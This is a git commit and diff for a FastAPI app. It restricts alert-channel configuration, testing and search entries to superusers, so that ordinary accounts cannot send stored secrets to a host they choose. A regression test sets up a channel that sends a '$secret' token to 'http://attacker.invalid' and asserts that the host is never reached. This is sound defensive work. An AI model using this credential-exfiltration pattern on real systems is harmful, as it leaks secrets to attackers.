Alerts: configuration, test and search entries are a superuser's; subscribing a browser stays open

Any signed-in account could save an ntfy channel with its own `server` and a
`{"$secret": ...}` token and press Test, which sent the stored secret to that
host. The config GET/PUT, the test route and the global search's alert entries
now answer to superusers, like /secrets. The webpush key and subscribe routes
stay open to every account, and the Alerts page shows a non-superuser only the
button for its own browser. The events table in the docs gains run_finished.
This commit is contained in:
2026-10-28 12:40:44 +01:00
parent 29f4d93c2a
commit 2dc20911a3
8 changed files with 153 additions and 14 deletions
+16 -4
View File
@@ -7,15 +7,27 @@ from fastapi import APIRouter, Depends, HTTPException
from fastapi.concurrency import run_in_threadpool
from pydantic import BaseModel
from fluksio.api.deps import FlowControllerDep, get_current_user
from fluksio.api.deps import (
FlowControllerDep,
get_current_active_superuser,
get_current_user,
)
from fluksio.core.config import settings
from fluksio.flow import webpush
from fluksio.flow.alerts import Alert, AlertsConfig
from fluksio.models import Message
# Reading or changing where alerts go is a superuser's: a channel setting may
# hold a `{"$secret": ...}` reference that `send` resolves, and the url or
# server beside it is the sender's to choose, so an ordinary account could
# point a stored credential at a host of its own and press Test. The topic of
# an ntfy channel and a webhook's url are credentials too, so reading is gated
# as well. Subscribing a browser stays open to every account: it only says
# where *this* device can be reached.
router = APIRouter(
prefix="/alerts", tags=["alerts"], dependencies=[Depends(get_current_user)]
)
SUPERUSER = [Depends(get_current_active_superuser)]
def _path() -> Path:
@@ -41,13 +53,13 @@ def write_config(config: AlertsConfig) -> None:
path.write_text(config.model_dump_json(indent=2))
@router.get("/config", response_model=AlertsConfig)
@router.get("/config", response_model=AlertsConfig, dependencies=SUPERUSER)
async def read_alerts_config() -> Any:
"""What the engine alerts on, and where it sends it."""
return await run_in_threadpool(read_config)
@router.put("/config", response_model=AlertsConfig)
@router.put("/config", response_model=AlertsConfig, dependencies=SUPERUSER)
async def save_alerts_config(body: AlertsConfig, controller: FlowControllerDep) -> Any:
"""Replace the configuration. Takes effect immediately."""
known = {channel.name for channel in body.channels}
@@ -95,7 +107,7 @@ async def remove_webpush_subscription(body: Unsubscribe) -> Any:
return Message(message="This browser will no longer be notified")
@router.post("/test/{channel_name}", response_model=Message)
@router.post("/test/{channel_name}", response_model=Message, dependencies=SUPERUSER)
async def test_channel(channel_name: str, controller: FlowControllerDep) -> Any:
"""Send one alert, to prove the channel works before relying on it."""
if controller.alerts is None:
+8 -5
View File
@@ -252,10 +252,12 @@ def _build(
for worker in (hub.workers() if hub is not None else [])
)
entries.extend(
SearchEntry(category="alert", name=channel.name, kind=channel.kind)
for channel in read_alerts_config().channels
)
# Named only to a superuser, like the secrets: `/alerts` answers to them.
if secrets:
entries.extend(
SearchEntry(category="alert", name=channel.name, kind=channel.kind)
for channel in read_alerts_config().channels
)
return entries
@@ -273,7 +275,8 @@ async def read_search_index(
instance of any ordinary size, so one fetch when the panel opens beats a
round trip per keystroke — and the client already has a matcher.
Secrets are named only to a superuser, which is who ``/secrets`` answers to.
Secrets and alert channels are named only to a superuser, which is who
``/secrets`` and ``/alerts`` answer to.
"""
# Absent when remote workers are switched off — not a reason to fail a search.
hub = getattr(request.app.state, "worker_hub", None)
+76
View File
@@ -64,3 +64,79 @@ def test_an_unknown_channel_is_a_404(
response = client.post(f"{PREFIX}/test/nowhere", headers=superuser_token_headers)
assert response.status_code == 404
def test_an_ordinary_account_cannot_read_or_change_the_alert_setup(
client: TestClient, normal_user_token_headers: dict[str, str]
) -> None:
"""Channels hold credential references, topics and urls: a superuser's."""
config = {"channels": [], "rules": []}
assert (
client.get(f"{PREFIX}/config", headers=normal_user_token_headers).status_code
== 403
)
assert (
client.put(
f"{PREFIX}/config", headers=normal_user_token_headers, json=config
).status_code
== 403
)
assert (
client.post(
f"{PREFIX}/test/phone", headers=normal_user_token_headers
).status_code
== 403
)
def test_a_stored_secret_cannot_be_pointed_at_a_host_an_ordinary_account_chose(
client: TestClient,
superuser_token_headers: dict[str, str],
normal_user_token_headers: dict[str, str],
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""An ntfy `server` plus a `$secret` token used to send the secret there."""
import httpx
client.put(
f"{settings.API_V1_STR}/secrets/vault-token",
headers=superuser_token_headers,
json={"value": "S3CRET"},
)
reached: list[str] = []
async def post(_self: Any, url: Any, **_kwargs: Any) -> httpx.Response:
reached.append(str(url))
return httpx.Response(200, request=httpx.Request("POST", url))
monkeypatch.setattr(httpx.AsyncClient, "post", post)
config = {
"channels": [
{
"name": "x",
"kind": "ntfy",
"config": {
"server": "http://attacker.invalid",
"topic": "t",
"token": {"$secret": "vault-token"},
},
}
],
"rules": [],
}
client.put(f"{PREFIX}/config", headers=normal_user_token_headers, json=config)
client.post(f"{PREFIX}/test/x", headers=normal_user_token_headers)
assert reached == []
def test_any_account_can_subscribe_its_own_browser(
client: TestClient, normal_user_token_headers: dict[str, str]
) -> None:
"""Where this device can be reached is not a superuser's to hold."""
response = client.get(f"{PREFIX}/webpush/key", headers=normal_user_token_headers)
assert response.status_code == 200
assert response.json()["key"]
+22
View File
@@ -2,6 +2,7 @@
from typing import Any
import pytest
from fastapi.testclient import TestClient
from fluksio.api.routes.search import MASK, setting_text
@@ -190,3 +191,24 @@ def test_index_lists_a_nodes_settings(
assert found["hook.secret"]["detail"] == "secret"
assert "hook_secret" not in text
assert "s3cr3t-value" not in text
def test_alert_channels_are_named_only_to_a_superuser(
client: TestClient,
superuser_token_headers: dict[str, str],
normal_user_token_headers: dict[str, str],
tmp_path: Any,
monkeypatch: pytest.MonkeyPatch,
) -> None:
from fluksio.api.routes.alerts import write_config
from fluksio.flow.alerts import AlertsConfig, Channel
monkeypatch.setattr(settings, "ALERTS_FILE", tmp_path / "alerts.json")
write_config(AlertsConfig(channels=[Channel(name="phone", kind="ntfy")]))
def channels(headers: dict[str, str]) -> set[str]:
entries = client.get(f"{PREFIX}/", headers=headers).json()
return {e["name"] for e in entries if e["category"] == "alert"}
assert channels(superuser_token_headers) == {"phone"}
assert channels(normal_user_token_headers) == set()